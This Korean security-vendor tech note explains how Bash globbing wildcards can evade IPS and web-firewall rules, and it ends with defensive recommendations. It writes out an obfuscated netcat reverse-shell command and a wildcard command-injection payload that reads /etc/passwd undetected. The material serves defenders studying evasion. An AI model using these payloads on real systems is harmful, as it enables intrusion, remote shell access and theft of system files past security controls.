보안정보

전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.

‘Globbing pattern’을 이용한 우회 기법

2018.07.31

10,166

서비스사업본부 보안분석팀 김무늬


1. 개요

다양한 보안 솔루션이 존재하고, 보안장비의 성능의 또한 지속적으로 향상되고 있음에도 불구하고 해커의 해킹기술은 나날히 발전하고 있으며 지금 이 순간에도 다양한 공격이 시도되고 있다. 특히 방화벽, 웹방화벽은 대부분의 기업에서 사용할 만큼 보편적인 장비이며 다양한 룰이 존재하지만, 그 룰의 허점을 이용하여 우회하는 방법 또한 존재한다. 
이번 Tech Note에서는 리눅스 시스템에서 Bash standard wildcard문자를 이용한 globbing 기법을 공격으로 활용하여 보안장비를 우회하는 기법을 소개하고자 한다.


2. Bash standard wildcards

Bash standard wildcards(globbing 패턴 이라고도 함)는 표준 와일드 카드 문자인 *, ?, 대괄호 속의 문자 목록, 다른 특수 문자들(일치하지 않도록 부정해 주는 ^ 같은 문자)등을 이용하여 파일을 처리하는데 사용된다. 예를 들어, 시스템 명령을 실행하거나 디렉토리 안에 있는 파일들과 맞추어서 매치되는 모든 파일들의 리스트 나열 등 행위를 할 수 있다.

1) globbing을 이용한 ‘ls –help’ 명령어

 [그림 1]은 globbing을 이용하여 ‘ls –help’ 명령어를 실행한 것이다. 이런 종류의 구문을 이용하면 대부분의 시스템 명령어 실행이 가능하다. Globbing을 이용하면 기본적인 명령어를 실행 할 수 있다. 



[그림 1] globbing을 이용한 ‘ls –help’ 명령어


2) globbing을 이용한 ‘cat / etc / passwd’ 명령어

[그림 2]는 globbing을 이용하여 ‘cat / etc/ passwd’ 명령어를 실행한 것이다. 
 ‘/ bin / cat *: 디렉터리입니다’ 라는 오류가 3개가 발생한 것은 / ??? / ??t의 Globbing 과정에서 / bin / cat 뿐만 아니라 / dev / net, / etc / apt 등으로 해석될 수 있기 때문이다. 



[그림 2] / bin / cat / etc / passwd를 와일드카드로 실행


앞서 본 예시와 같이 물음표 와일드 카드는 임의의 문자일 수 있는 하나의 문자만을 나타낸다. 따라서 하나의 문자가 아닌 파일 이름의 일부를 알고 있는 경우 와일드 카드를 사용할 수 있다. 예를 들어 ‘ls *.???’ 이렇게 명령어를 입력하면 현재 디렉터리 안에 있는 파일의 확장자가 3자인 모든 파일을 나열하게 된다. .gif, .jpg, .txt 등 파일이 검색될 것이다.


3. Bash standard wildcards(Globbing)을 이용한 우회 기법

1) Reverse shell 

Reverse shell 공격이란 방화벽 아웃바운드 정책(주로 내부에서 외부로 가는 정책은 오픈되어 있거나 허술한 점을 이용함)의 취약점을 이용하여 방화벽을 우회하기 위해 원격에서 명령을 수행하기 위한 공격기법이다. 


다음의 예시는 Reverse shell 공격 중에서 netcat을 이용하는 방법이다.

① Attacker PC에서 임의의 포트 활성화



[그림 3] Attacker 포트 활성화


② Victim PC에서 Attacker의 활성화된 포트로 연결 시도



[그림 4] Victim PC에서 Attacker의 활성화된 포트로 연결


③ 연결이 완료되면 Attacker는 Victim의 쉘 권한을 획득하여 파일 정보 등 중요정보를 획득



[그림 5] Attacker는 Victim의 쉘을 사용하여 파일정보 획득


2) wildcards 문자를 사용한 globbing 기법의 Reverse shell 

앞서 본 공격 방법에서는 IPS에서 명령어 패턴이나 문자열 필터링 등으로 공격을 차단할 수 있었다. 
이번에는 IPS 정책의 허술함을 이용한 공격인 wildcards 문자를 사용한 globbing기법으로 Reverse shell 공격을 시도해 보겠다.


① Kali Linux는 netcat 명령어의 옵션이 ‘/bin/nc.tradition’을 참조하므로 [그림 6]과 같이 Globbing기법을 이용하여 (/???/?c.??????????? –l –p 포트번호) Attacker 포트 활성화한다. 



[그림 6] Globbing을 이용하여 Attacker 포트 활성화


② CentOS는 netcat 명령어의 위치가 ‘/usr/local/bin/netcat’에 위치하므로 [그림 5-7]과 같이 Globbing기법을 이용하여(/uss/l?c??/b?n/n????? –e /???/b??h 323225255 포트번호) 연결을 시도한다. 이 때, Attacker의 IP주소를 Dword로 변환하여 적어주면 OOO.OOO.OOO.OOO 와 같은 패턴이 변형되어 더 복잡한 구문이 될 수 있다.



[그림 7] Victim PC에서 Attacker의 활성화된 포트로 연결


③ [그림 8]과 같이 공격에 성공한 것을 확인할 수 있다.



[그림 8] Globbing을 이용하여 Attacker는 Victim의 파일정보 획득


4. Bash standard wildcards(Globbing)을 이용한 WAF 우회 기법

1) Command Injection

Command Injection이란 웹 애플리케이션에서 system(), exec()와 같은 시스템 명령어를 실행할 수 있는 함수를 제공하며 사용자 입력 값에 필터링이 제대로 이루어지지 않을 경우 공격자가 시스템 명령어를 호출할 수 있는 취약점이다. 시스템 계정 정보 유출, 백도어 설치, 관리자 권한 탈취 등의 공격을 수행하는 위험도가 높은 취약점이다.

[그림 9]와 같이 Command Injection의 기본적인 공격형태로 파라미터 값에 ‘c= / bin / cat+/ etc / passwd’를 입력하여 / etc / passwd 파일을 획득하게 되었다. 



[그림 9] Command Injection 공격을 수행하여 / etc / passwd 획득 


[그림 10]과 같이 웹방화벽 로그를 살펴보면 탐지 유형이 시스템 파일 접근으로 탐지되는 것을 확인 할 수 있다. 



[그림 10] 웹방화벽 로그 확인


2) wildcards 문자를 사용한 globbing 기법의 Command Injection

앞서 본 공격 방법에서는 웹 방화벽에서 명령어 패턴이나 문자열 필터링 등으로 공격을 탐지 및 차단할 수 있었다.
이번에는 IPS 정책의 허술함을 이용하여 wildcards 문자를 사용한 globbing 기법으로 Reverse shell 공격을 시도해 보겠다. 

[그림 11]은 파라미터 값에 ‘c=/ bin / cat+/ etc / passwd’를 wildcadrs 문자를 사용한 globbing 기법으로 ‘c=/ ??? / ??t+/ ??? / ??ss??’을 입력하였다. 이 때 전송되는 패킷을 살펴보면 처음에는 알 수 없는 문자 값이 나오다가 밑에 부분에 / etc / passwd 파일이 읽혀진 것을 확인 할 수 있다. 



[그림 11] wildcards 문자를 사용한 globbing 기법으로 Command Injection 공격 패킷


이때 웹 방화벽 로그를 살펴보면 wildcards 문자를 사용한 globbing 기법으로 'c=/ ??? / ??t+/ ??? / ??ss??'을 입력한 공격이 탐지가 되지 않은 것을 [그림 12]와 같이 확인할 수 있다.



[그림 12] 우회 패턴으로 인한 웹 방화벽 미탐지


5. 결론

Globbing 기법을 이용하여 보안장비를 우회하는 다양한 방법을 살펴보았다. 이 방법은 패턴화 하기 어렵기 때문에 보안 장비에서 탐지 및 차단이 쉽지 않다. 따라서 과도한 wildcards 문자를 사용하거나 패킷의 응답 값을 확인하여 시스템 명령어를 사용하는 등의 의심스러운 행위들은 차단해야 할 것이다. 또한, 해커가 시스템 파일에 접근하거나 열린 포트 등 취약하게 설정된 것을 이용하여 command injection을 시도 하는 것이므로 필요한 포트를 제외하고 모두 Deny 처리를 하고 시스템 파일 권한에 대해서도 최소 권한을 주어 해커에게 빌미를 제공하지 않는 것이 가장 중요하다.


6. 참고자료

[1] Web Application Firewall Evasion Techniques 
https://medium.com/secjuice/waf-evasion-techniques-718026d693d8

[2] Globbing
https://commandbox.ortusbooks.com/usage/parameters/globbing-patterns

[3] Command injection
https://rlarlgns.github.io/rlarlgns.github.io/2017-05-07/command_injection/

[4] IP주소를 Dword로 변환해주는 도구

[5] Reverse Shell